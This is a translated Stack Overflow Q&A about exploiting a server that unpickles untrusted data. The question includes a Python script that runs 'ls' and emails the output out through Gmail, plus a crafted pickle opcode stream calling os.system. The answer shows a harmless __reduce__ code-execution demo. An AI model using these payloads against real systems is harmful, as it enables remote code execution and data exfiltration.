我有一项任务是将 pickle 文件发送到服务器,该服务器会解开发送给它的任何内容。我的计划是让它通过电子邮件将打印出的 ls 命令发回给我。我有这个文件:
import smtplib
import commands
status, output = commands.getstatusoutput("ls")
server = smtplib.SMTP_SSL('smtp.gmail.com')
server.login("...@gmail.com", "password")
server.sendmail("...@gmail.com", "...@gmail.com", output)
server.quit()
如何让服务器运行它?我正在尝试发送如下文件:
cos
system
(S''
tR.
在 ' ' 中使用 python 脚本。
我在想:
cos
system
(S'python\n import smptlib\n ...'
tR.
但它不执行命令。我怎样才能让它执行python?
我已经在自己的电脑上试过了,python 可以正常发送电子邮件。
最佳答案
在__reduce__
方法中做任何你想做的友好。请不要作恶。
import pickle
class Friendly:
def __reduce__(self):
return (self.friendly, ('executing friendly code',))
@staticmethod
def friendly(x):
print(x)
pickle.dump(Friendly(), open('pickled', 'wb'))
print('loading ...')
pickle.load(open('pickled', 'rb'))
->
$ python friendly.py
loading ...
executing friendly code
关于python - pickle 剥削,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/47705202/